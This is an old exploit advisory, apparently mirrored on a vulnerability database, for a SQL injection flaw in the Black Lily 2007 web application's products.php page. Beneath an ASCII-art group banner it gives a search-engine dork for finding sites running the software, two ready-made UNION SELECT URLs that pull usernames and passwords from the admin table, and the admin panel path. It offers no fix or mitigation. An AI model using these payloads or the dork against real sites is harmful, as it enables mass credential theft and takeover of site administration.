Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability

🗓️ 23 Sep 2007 00:00:00Reported by RootType
Black Lily 2007 Remote SQL Injection Vulnerability found in products.php class

                                                #######################SnIper-sa.com################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;SSSSS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nnn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;ppppppp&nbsp;&nbsp;eeeeeeeee&nbsp;&nbsp;&nbsp;rrrrr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;ss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;&nbsp;ee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;&nbsp;ee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;ss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;ppppppp&nbsp;&nbsp;ee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;sssss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eeeeee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rrrr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ss&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rrrr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;nn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ss&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nnn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;sssss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nnn&nbsp;&nbsp;&nbsp;ii&nbsp;&nbsp;pp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eeeeeeeeee&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rr&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#####################VerY-SecReT####################################
####################################

&nbsp;found&nbsp;by&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VerY&nbsp;SecReT
###########
HomePage&nbsp;:&nbsp;WwW.SnIpEr-Sa.Com
##################

&nbsp;Dork&nbsp;:&nbsp;&nbsp;&quot;Powered&nbsp;By&nbsp;The&nbsp;Black&nbsp;Lily&nbsp;2007&quot;
####################################

EXPLOIT:
&nbsp;&nbsp;http://victim.com/ar/products.php?class=-1%20union%20select%201,2,password,4,username%20from%20admin/*

&nbsp;or

http://victim.com/en/products.php?class=-1%20union%20select%201,2,3,password,username%20from%20admin/*

########################################

Admin&nbsp;Panel&nbsp;is&nbsp;in&nbsp;&nbsp;http://victim.com/xx/admin/

#####################################

&nbsp;S.GreetZ:&nbsp;sniper-sa.com&nbsp;&amp;&nbsp;sniper-sa&nbsp;&amp;&nbsp;Rafoo
#############################
thanx&nbsp;:&nbsp;&nbsp;shoot3r&nbsp;,&nbsp;Devil-X&nbsp;,ReMOTeR&nbsp;,&nbsp;and&nbsp;all&nbsp;sniper&nbsp;members

##############

contact-mail&nbsp;:&nbsp;[email protected]
23 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1